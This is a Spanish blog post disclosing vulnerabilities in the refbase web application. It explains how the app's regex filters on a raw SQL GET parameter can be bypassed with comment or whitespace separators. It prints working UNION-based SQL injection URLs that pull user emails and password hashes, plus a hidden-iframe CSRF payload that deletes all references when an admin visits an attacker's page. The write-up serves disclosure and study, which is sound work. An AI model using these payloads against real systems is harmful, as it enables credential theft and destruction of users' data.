La página de inicio |
Atención a la URL |
... y observemos la URL. Como no sale completa en la imagen, os la copio aquí:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT%20author%2C%20title%2C%20type%2C%20year%2C%20publication%2C%20abbrev_journal%2C%20volume%2C%20issue%2C%20pages%2C%20keywords%2C%20abstract%2C%20address%2C%20corporate_author%2C%20thesis%2C%20publisher%2C%20place%2C%20editor%2C%20language%2C%20summary_language%2C%20orig_title%2C%20series_editor%2C%20series_title%2C%20abbrev_series_title%2C%20series_volume%2C%20series_issue%2C%20edition%2C%20issn%2C%20isbn%2C%20medium%2C%20area%2C%20expedition%2C%20conference%2C%20notes%2C%20approved%2C%20call_number%2C%20serial%20FROM%20refs%20WHERE%20serial%20%3D%207%20ORDER%20BY%20author%2C%20year%20DESC%2C%20publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=
O, decodificando los parámetros GET para que todo se vea más claro:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT author, title, type, year, publication, abbrev_journal, volume, issue, pages, keywords, abstract, address, corporate_author, thesis, publisher, place, editor, language, summary_language, orig_title, series_editor, series_title, abbrev_series_title, series_volume, series_issue, edition, issn, isbn, medium, area, expedition, conference, notes, approved, call_number, serial FROM refs WHERE serial = 7 ORDER BY author, year DESC, publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=
Algo que quizá alguien recuerde de "El parque del oso": ¡Toda una sentencia SQL pasada como parámetro GET!
En su día contaba yo a los desarrolladores de refbase que esto era peligroso y que quizá debían plantearse un enfoque alternativo. No sólo por seguridad sino también porque la solución que habían elegido les complicaría en el futuro la migración de refbase a otros gestores de bases de datos distintos de MySQL. La respuesta fue que, por desgracia, no era realista plantear un cambio de ese calado, dados los recursos de que disponían para el desarrollo.
No digo más. Y con eso creo que tendrás suficiente para entenderme.
En todo caso, refbase no ejecuta el código introducido sin más. Las consultas proporcionadas a través del parámetro GET sqlQuery son alteradas de varias formas para garantizar el correcto funcionamiento del programa. Cosas como:
- El usuario puede solicitar sólo aquellas columnas que le interesan y refbase se adapta a su petición, mostrando únicamente los datos requeridos. Si es necesario, refbase añade a la consulta las columnas que precise para sus operaciones internas, pero no las muestra.
- Se garantiza la existencia de la claúsula ORDER BY
- La consulta contiene etiquetas HTML (para evitar XSS)
- El usuario no es administrador y la consulta no comienza con "SELECT". A esta comprobación le añaden también que no contengan "DROP DATABASE" o "DROP TABLE".
- Al SELECT inicial le sigue cualquier cosa que no sea una lista de columnas antes de llegar al FROM. Las columnas que pueden incluirse en esta lista están indicadas expresamente en la variable "$all_fields". Una lista blanca: eso apunta buenas maneras. La expresión regular elegida para hacer esta comprobación viene dada por:
"/^SELECT ((" . $all_fields . "),* *)+ FROM/i"
- Si alguien intenta colar una segunda consulta. Para ello, se trata de detectar la presencia de una segunda claúsula FROM
"/FROM .*(" . join("|", $tablesArray) . ").+ FROM /i"
- Si la consulta contiene alguna operación no permitida. Las operaciones permitidas vienen dadas mediante una expresión regular
"/FROM $tableRefs( LEFT JOIN $tableUserData ON serial ?= ?record_id AND user_id ?= ?\d*)?(?= WHERE| ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|$)/i"
Todo lo cual, dadas las circunstancias, estaría bien (o, al menos, regular)... si las expresiones regulares fueran correctas.
Sin entrar en muchos detalles, hay un fallo grande. Muy grande. En todas las expresiones regulares anteriores se considera que las claúsulas SQL van separadas... por espacios. Pero SQL en general, y el dialecto de MySQL en particular, acepta un montón de caracteres y expresiones como separadores. Por ejemplo, un comentario "/**/". O un tabulador. O...
Así, que se puede hacer una petición como
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1/**/union/**/select email,password,3,4,5,6,7,8,9,10/**/from/**/auth ORDER BY 1 DESC&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=... y obtener los identificadores de usuario (sus cuentas de correo) y los hashes de sus contraseñas:
SQL Injection accomplished! |
Buena ayuda para un atacante |
En lugar de comentarios podrían haberse usado otros separadores. Por ejemplo, tabuladores horizontales (codificados en la URL como %09), tabulación vertical (%0B), salto de página (%0C) o retorno de carro (%0D):
http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=Display&headerMsg=&sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1%09union%0Bselect email,password,3,4,5,6,7,8,9,10%0Cfrom%0Dauth ORDER BY 1 DESC, publication&showQuery=0&showLinks=1&showRows=10&rowOffset=0&marked[]=&citeStyle=APA&citeOrder=&orderBy=author, year DESC, publication
Una nota al margen para ir acabando. Los usuarios normales no pueden hacer otra cosa que SELECT. Los administradores sí podrían lanzar otras instrucciones.
En lo que a los DROP respecta, el usuario que crea el instalador de la aplicación para conectar a la base de datos carece de los permisos necesarios, por lo que no tendrían impacto alguno. Salvo que, quizá por los fallos que tiene el instalador, alguien se huviera visto obligado a crear la cuenta a mano y se hubiera pasado con los permisos, claro.
En todo caso, los INSERT, UPDATE y DELETE sí que están permitidos a la cuenta de administración de refbase. De hecho ésta disponde de un formulario, "sql_search.php", que le permite ejecutar (o tratar de hacerlo) cualquier sentencia SQL. Este formulario termina llamando a "search.php" indicando el parámetro GET "formType=sqlSearch".
¿Y por qué es esto importante?
Porque "search.php", como tantas otras partes de la aplicación, no está debidamente protegido contra Cross Site Request Forgery. Ni, dicho sea de paso, contra ClickJacking. De modo que un atacante podría usar cualquier servidor web que tuviera bajo su control y alojar en él una página maliciosa con el siguiente código:
HolaSi alguien que ha iniciado sesión con la cuenta de administración de refbase visita esta página... Adios al trabajo de recopilación de referencias documentales.
<iframe src="http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=&citeStyle=&citeOrder=&sqlQuery=Delete+from+refs&showLinks=1&showRows=10&viewType=Web"
style="display:none">
</iframe>
Nada por aquí, nada por allá |
No hay comentarios:
Publicar un comentario